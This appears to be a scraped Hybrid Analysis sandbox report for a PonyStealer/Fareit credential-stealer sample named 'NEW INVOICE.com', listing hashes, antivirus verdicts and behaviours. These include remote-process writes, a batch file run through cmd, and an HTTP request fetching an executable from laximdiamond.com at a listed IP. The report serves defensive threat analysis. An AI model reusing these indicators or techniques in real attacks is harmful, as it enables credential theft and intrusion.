23:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 29:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 22:T4ba,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious PonyStealer.@p1@dS.Generic Sample 0f7f7ce1ab76… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0f7f7ce1ab76…. Malware family: PonyStealer.@p1@dS.Generic. Threat score 100/100. 18/28 AV engines flagged this file. 8 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff","keywords":["Malicious","PonyStealer.@p1@dS.Generic","malware analysis","sandbox report","threat intelligence","0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff"],"about":{"@type":"SoftwareApplication","name":"NEW INVOICE.com","applicationCategory":["peexe","executable"],"identifier":"0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"PonyStealer.@p1@dS.Generic","antivirusDetections":{"malicious":18,"total":28},"behavioralIndicators":{"malicious":8,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}24:T6a4,"" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "UNINSTALLSTRING"; Value: "0000000001000000AC00000043003A005C00570069006E0064006F00770073005C00730079007300740065006D00330032005C004D006100630072006F006D00650064005C0046006C006100730068005C0046006C006100730068005500740069006C00330032005F00320034005F0030005F0030005F003200320031005F0050006C007500670069006E002E0065007800650020002D006D00610069006E007400610069006E00200070006C007500670069006E000000") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "DISPLAYNAME"; Value: "000000000100000038000000410064006F0062006500200046006C00610073006800200050006C00610079006500720020003200340020004E0050004100500049000000") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3"; Key: "UNINSTALLSTRING"; Value: "00000000010000004E00000043003A005C00500072006F006700720061006D002000460069006C00650073005C004100750074006F004900740033005C0055006E0069006E007300740061006C006C002E006500780065000000") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3"; Key: "DISPLAYNAME"; Value: "0000000001000000220000004100750074006F00490074002000760033002E0033002E00310032002E0030000000")25:T617,"" wrote 32 bytes to a remote process "C:\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe" (Handle: 260) "" wrote 52 bytes to a remote process "C:\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe" (Handle: 260) "" wrote 4 bytes to a remote process "C:\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe" (Handle: 260) "" wrote 102400 bytes to a remote process "C:\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe" (Handle: 260) "" wrote 4096 bytes to a remote process "C:\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe" (Handle: 260) "" wrote 1 bytes to a remote process "C:\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe" (Handle: 260) "" wrote 18944 bytes to a remote process "C:\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe" (Handle: 260) "" wrote 512 bytes to a remote process "C:\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe" (Handle: 260) "" wrote 72704 bytes to a remote process "C:\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe" (Handle: 260) "" wrote 8 bytes to a remote process "C:\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe" (Handle: 260) "" wrote 38 bytes to a remote process "C:\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe" (Handle: 260)26:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAIh3d3cwMAAAAAYwAAAAABczMzMzNzAAAAAAAAAAB3dzMzMzd3M3ABAAAAAAA3N3iHdzMzd3NwAAdwAAAHN3iIdzM3MXd3cAgAAAAAB3eIiHMzMzeIM3AAAAAAAAd3eIiHdzM3d3dwAAADAAAHd4iIdzMzM3czgBAAAAAAB3iHiHMzMzeHM3AAAAAAAAd3d4iHd3M3h3NwABAAAAAHeIiIczMzOIczgAAAAAAAB3iIiIMzM3eHM3AAAAAAYAd4iIiHd3d3hzNwAAAAAAAHiIiIczMzM3MzgAAAAAAAB4iHiIeHd3MzNzAAAAAAAAeIiIhzd3c3N3cAAAAANAAIiHczd3d3d3dwcAAAAAAACHc3N3d4hwAAAAAAAAADAAAHeHcAAAAAAAAAAAAAAAAAAHdwAAAzAAAAAAAAAAAAAAB3cAAAABdzAAAAAAAAAAAAc3AAAAAHcwAABwAAAAAEAHMwAAAQB3MHAAAwAAADAABzcAAAAAdzAAAIAAAAAAEAc3cAAQBzMwAAAAAAAAAAAHPnAAAAMzMAAAAAAAAAAABzM4EAFzM3AAAAAAAAAAAABzM3AIMzcHAAAAADAAAAAAczM3MzM3AAAAMAAAAAAAB8d3d3M3cAAAAAAANxAAAAAAA4d3MAAAAAAAAAAAAAADcAAAAABwAAAAAAD/+AD///AAP/8AAD/+AEg//AAAP/wAAD/8AAA/gAABn/wAAD/8AAA//AAAP/wAID88AAA//AAAP/gAAB/8AAB//AAA//wAH///A////4r///+P8f//j/H//4/x//+P8f//h+H//4Ph//+Bgf//wIP//8AD///gB///+A///////w==27:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==28:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==1a:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$22"}}],["$","$L23",null,{"initialData":{"schema_version":"1.0.15","sha256":"0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790438828998,"unified_at":"2026-09-26T16:07:08.998Z","metadata":{"hashes":{"sha256":"0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff","sha1":"515bad75d2c8abed09818612c67db7ffd4020619","md5":"edabe0679e74f6a0f10beeb98d514ce4","sha512":"dc1500b1713af65046eeb29ed92627c018415ce546086146cf32bf63f70184bb2cabf866274f8ae0402b285de3ce9f0ff59ce1bc6556909df17cb135a778e5f0","ssdeep":"3072:s1qSPQQE+I6qwZ2VJKq1OZY3fvVFL5p4oxk1G3Snnnnnnnnnnnnnnnnnnnnnnnns:s8S/NI6T21ZPHL0k+GB","ssdeep_chunks":["3072:s1qSPQQ","3072:1qSPQQE","3072:qSPQQE+","3072:SPQQE+I","3072:PQQE+I6","3072:QQE+I6q","3072:QE+I6qw","3072:E+I6qwZ","3072:+I6qwZ2","3072:I6qwZ2V","3072:6qwZ2VJ","3072:qwZ2VJK","3072:wZ2VJKq","3072:Z2VJKq1","3072:2VJKq1O","3072:VJKq1OZ","3072:JKq1OZY","3072:Kq1OZY3","3072:q1OZY3f","3072:1OZY3fv","3072:OZY3fvV","3072:ZY3fvVF","3072:Y3fvVFL","3072:3fvVFL5","3072:fvVFL5p","3072:vVFL5p4","3072:VFL5p4o","3072:FL5p4ox","3072:L5p4oxk","3072:5p4oxk1","3072:p4oxk1G","3072:4oxk1G3","3072:oxk1G3S","3072:xk1G3Sn","3072:k1G3Snn","3072:1G3Snnn","3072:G3Snnnn","3072:3Snnnnn","3072:Snnnnnn","3072:nnnnnnn","3072:nnnnnns","6144:s1qSPQQ","6144:1qSPQQE","6144:qSPQQE+","6144:SPQQE+I","6144:PQQE+I6","6144:QQE+I6q","6144:QE+I6qw","6144:E+I6qwZ","6144:+I6qwZ2","6144:I6qwZ2V","6144:6qwZ2VJ","6144:qwZ2VJK","6144:wZ2VJKq","6144:Z2VJKq1","6144:2VJKq1O","6144:VJKq1OZ","6144:JKq1OZY","6144:Kq1OZY3","6144:q1OZY3f","6144:1OZY3fv","6144:OZY3fvV","6144:ZY3fvVF","6144:Y3fvVFL","6144:3fvVFL5","6144:fvVFL5p","6144:vVFL5p4","6144:VFL5p4o","6144:FL5p4ox","6144:L5p4oxk","6144:5p4oxk1","6144:p4oxk1G","6144:4oxk1G3","6144:oxk1G3S","6144:xk1G3Sn","6144:k1G3Snn","6144:1G3Snnn","6144:G3Snnnn","6144:3Snnnnn","6144:Snnnnnn","6144:nnnnnnn","6144:nnnnnns","3072:s8S/NI6","3072:8S/NI6T","3072:S/NI6T2","3072:/NI6T21","3072:NI6T21Z","3072:I6T21ZP","3072:6T21ZPH","3072:T21ZPHL","3072:21ZPHL0","3072:1ZPHL0k","3072:ZPHL0k+","3072:PHL0k+G","3072:HL0k+GB"],"imphash":"d9e563decab8168cf0cdb92ca9ec1477"},"file_info":{"file_name":"NEW INVOICE.com","file_type":["peexe","executable"],"file_type_id":"exe","file_size":11746064,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1509014813000,"last_seen":1661827358000,"last_multi_scan":1661827358000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["pony"]},"stats":{"av":{"malicious_count":18,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":15,"suspicious_count":15,"malicious_count":8,"total":38},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Win-Trojan/VBMalpack.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.TSGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1206767","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Heur.PonyStealer.@p1@dS!GM5pb","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/Fareit.BN.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Heur.PonyStealer.@p1@dS!GM5pb (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Injector.DSYW trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan.VB.Crypt","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 0040eff71 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-PSW.Win32.Fareit.ddrr","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Packed-TO!EDABE0679E74","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Fareit.euslgh","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/FareitVB-M","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TSPY_FA.855061D8","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TSPY_FA.855061D8","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TrojanPSW.Fareit","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"PonyStealer.@p1@dS.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$24","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\"; Key: \"\")","origin":"Registry Access","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"laximdiamond.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"45.122.138.22:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"\" created file \"%TEMP%\\~DF9E94D7728E8CBB19.TMP\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!blikuge!appdata!roaming!microsoft!windows!cookies!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!blikuge!appdata!local!microsoft!windows!history!history.ie5!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!blikuge!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /fta/panel/shit.exe HTTP/1.0\nHost: laximdiamond.com\nAccept: */*\nAccept-Encoding: identity, *;q=0\nConnection: close\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"General","name":"Loads the visual basic runtime environment","description":"\"\" loaded module \"%WINDIR%\\System32\\msvbvm60.dll\" at 72940000","origin":"Loaded Module","id":"module-0","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"\"cmd /c \"\"%TEMP%\\3770374.bat\" \"C:\\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe\" \"\" on 2017-10-26.11:39:58.841","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"\" (UID: 00015719-00003720)\n Spawned process \"cmd.exe\" with commandline \"\"cmd /c \"\"%TEMP%\\3770374.bat\" \"C:\\0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff.exe\" \"\" (UID: 00017019-00002744)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=Microsoft Code Signing PCA, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US\" (SHA1: 9B:F6:9D:5E:8D:01:A9:2F:41:3B:60:A4:BE:00:3E:32:3C:B5:2F:7F; see report for more information)\n The input sample is signed with a certificate issued by \"CN=Microsoft Time-Stamp PCA, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US\" (SHA1: 7C:B0:24:4C:7C:EC:52:83:E7:EF:DA:DF:5C:CC:58:77:2D:D6:7F:42; see report for more information)\n The input sample is signed with a certificate issued by \"CN=Microsoft Root Certificate Authority, DC=microsoft, DC=com\" (SHA1: 37:5F:CB:82:5C:3D:C3:75:2A:02:E3:4E:B7:09:93:B4:99:71:91:EF; see report for more information)\n The input sample is signed with a certificate issued by \"CN=Microsoft Root Certificate Authority, DC=microsoft, DC=com\" (SHA1: FD:D1:31:4E:D3:26:8A:95:E1:98:60:3B:A8:31:6F:A6:3C:BC:D8:2D; see report for more information)","origin":"Certificate Data","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"GET /fta/panel/shit.exe HTTP/1.0\nHost: laximdiamond.com\nAccept: */*\nAccept-Encoding: identity, *;q=0\nConnection: close\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\"","origin":"Network Traffic","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"3770374.bat\" has type \"ASCII text with CRLF CR line terminators\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\"\" touched file \"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls\"\n \"\" touched file \"%WINDIR%\\System32\\rsaenh.dll\"\n \"\" touched file \"%WINDIR%\\System32\\en-US\\user32.dll.mui\"\n \"\" touched file \"%WINDIR%\\Fonts\\StaticCache.dat\"\n \"\" touched file \"%WINDIR%\\System32\\en-US\\msctf.dll.mui\"\n \"\" touched file \"%WINDIR%\\wcx_ftp.ini\"\n \"\" touched file \"%WINDIR%\\32BitFtp.ini\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"crl.microsoft.com/pki/crl/products/CodeSigPCA.crl0M\"\n Pattern match: \"www.microsoft.com/pki/certs/CodeSigPCA.crt0\"\n Pattern match: \"crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl0X\"\n Pattern match: \"http://www.microsoft.com/pki/certs/MicrosoftTimeStampPCA.crt0\"\n Pattern match: \"http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T\"\n Pattern match: \"www.microsoft.com/pki/certs/MicrosoftRootCert.crt0\"\n Pattern match: \"www.microsoft.com/pki/certs/MicrosoftRootCert.crt0v\"\n Pattern match: \"http://www.microsoft.com0\"\n Pattern match: \"www.abucioncoi.vi\"\n Heuristic match: \"laximdiamond.com\"\n Pattern match: 